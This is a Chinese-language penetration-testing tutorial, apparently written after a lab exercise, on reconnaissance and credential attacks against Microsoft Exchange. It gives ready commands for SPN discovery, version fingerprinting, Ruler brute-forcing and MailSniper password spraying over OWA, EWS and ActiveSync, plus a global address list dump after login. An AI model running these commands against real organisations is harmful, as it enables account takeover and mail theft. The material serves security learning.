0x00 前言
在打靶场时,靶场中存在 exchange
邮箱的漏洞,由于对 exchange
邮箱一点都不了解,于是开始了对 exchange
邮箱的学习,从 exchange
邮箱搭建到 exchange
邮箱使用,在到 exchange
邮箱的漏洞利用,也是学到了不少对 exchange
邮箱的利用姿势。
0x01 Exchange介绍
Exchange Server
是微软公司的一套电子邮件服务组件,是个消息与协作系统。 简单而言, Exchange server
可以被用来构架应用于企业、学校的邮件系统。 Exchange server
还是一个协作平台。在此基础上可以开发工作流,知识管理系统, Web
系统或者是其他消息系统。
截至目前, Exchange Server
已有四个版本,包括 Exchange Server 2010
、 Exchange Server 2013
、 Exchange Server 2016
、 Exchange Server 2019
。
1.1 Exchange接口介绍
接口 | 说明 |
---|---|
owa/ | Exchange owa 接口,用于通过 web 应用程序访问邮件、日历、任务和联系人等 |
ecp/ | Exchange 管理中心,管理员用于管理组织中的Exchange的Web控制台 |
EWS/ | Exchange Web Service ,实现客户端与服务端之间基于HTTP的SOAP交互 |
OAB/ | 用于为 Outlook 客户端提供地址簿的副本,减轻Exchange的负担 |
Rpc/ | 早期的Outlook 还使用称为 Outlook Anywhere 的 RPC 交互 |
mapi/ | Outlook 连接 Exchange 的默认方式,在2013 和2013 之后开始使用,2010 sp2 同样支持 |
Autodiscover/ | 自 Exchange Server 2007 开始推出的一项自动服务,用于自动配置用户在 Outlook 中邮箱的相关设置,简化用户登陆使用邮箱的流程。 |
PowerShell/ | 用于服务器管理的 Exchange 管理控制台 |
Microsoft-Server-ActiveSync/ | 用于移动应用程序访问电子邮件 |
1.2 Exchange命令行管理程序使用
查看 MailBox
数据库
Get-MailboxDatabase -server "OWA"
查看指定用户邮箱使用信息
Get-Mailboxstatistics -identity administrator | Select DisplayName,ItemCount,TotalItemSize,LastLogonTime
查看全部用户邮箱使用信息
Get-Mailbox -ResultSize Unlimited | Get-MailboxStatistics | Sort-Object TotalItemSize
0x02 发现Exchange
2.1 SPN查询
使用 SPN
查询,可以快速判断域中是否安装了 exchange
邮箱以及可以快速定位到 exchange
服务器。
setspn -q */*
2.2 端口扫描
exchange
会对外暴露接口如 owa
, ecp
等,会暴露在 80
端口,而且 25/587/2525
等端口上会有 SMTP
服务,所以可以通过一些端口特征来定位 exchange
。
0x03 Exchange版本确定
exchange
版本确定之后,在搜索该版本存在的相关漏洞,然后进行漏洞利用。那么怎样确定版本呢?在 owa
界面的 HTML
代码中会显示 exchange
的版本号,可以看到 15.1.1591
为具体的版本号。
打开网站,直接全局搜索版本号 15.1.1591
,可以看出最终版本为 Exchange Server 2016 CU11
。
https://docs.microsoft.com/zh-cn/exchange/new-features/build-numbers-and-release-dates?view=exchserver-2019
0x04 Exchange邮箱账户爆破
4.1 使用burp爆破
在爆破时,可以对 exchange
的 owa
、 ews
、 autodiscover
、 Microsoft-Server-ActiveSync
界面进行爆破,这里使用 burp
对 owa
界面进行爆破,根据返回包的长度,判断爆破是否成功。
4.2 Ruler
Ruler
是一个允许您通过 MAPI/HTTP
或 RPC/HTTP
协议远程与 Exchange
服务器交互的工具。主要目的是滥用客户端 Outlook
功能并远程获取 shell
。
https://github.com/sensepost/ruler
通过 /autodiscover/autodiscover.xml
爆破:
./ruler-linux64 --url https://10.27.2.107/autodiscover/autodiscover.xml --domain sunset.com -k brute --users users.txt --passwords password.txt --delay 0 --verbose
4.3 MailSniper
MailSniper
用于密码喷洒、枚举用户和域、从 OWA
和 EWS
收集全局地址列表 (GAL) 以及检查组织中每个 Exchange
用户的邮箱权限的附加模块。
https://github.com/dafthack/MailSniper
通过 OWA
爆破:
powershell -exec bypass
Import-Module .\MailSniper.ps1
Invoke-PasswordSprayOWA -ExchHostname exchange -UserList .\users.txt -Password 123.com
通过 EWS
爆破:
powershell -exec bypass
Import-Module .\MailSniper.ps1
Invoke-PasswordSprayEWS -ExchHostname exchange -UserList .\users.txt -Password 123.com
通过 Microsoft-Server-ActiveSync
爆破:
powershell -exec bypass
Import-Module .\MailSniper.ps1
Invoke-PasswordSprayEAS -ExchHostname exchange -UserList .\users.txt -Password 123.com
当我们拿到一个邮箱的账号和密码之后,就可以获取所有邮箱地址:
powershell -exec bypass
Import-Module .\MailSniper.ps1
Get-GlobalAddressList -ExchHostname exchange -UserName mail -Password 123.com -OutFile list.txt
0x05 总结
在对 exchange
邮箱的信息收集的方法不止这些,对 exchange
邮箱账户爆破的工具也是非常多,可以根据的爱好以及环境,选择合适的利用工具即可。
爆破出正确的邮箱用户以及密码,对 exchange
邮箱的漏洞利用是非常重要的,有的漏洞只需要邮箱账户,而有的漏洞需要正确的用户名以及密码,才能够进行漏洞利用。所以在爆破时,要根据漏洞所在的环境,选择或生成合适的字典,来提高爆破效率。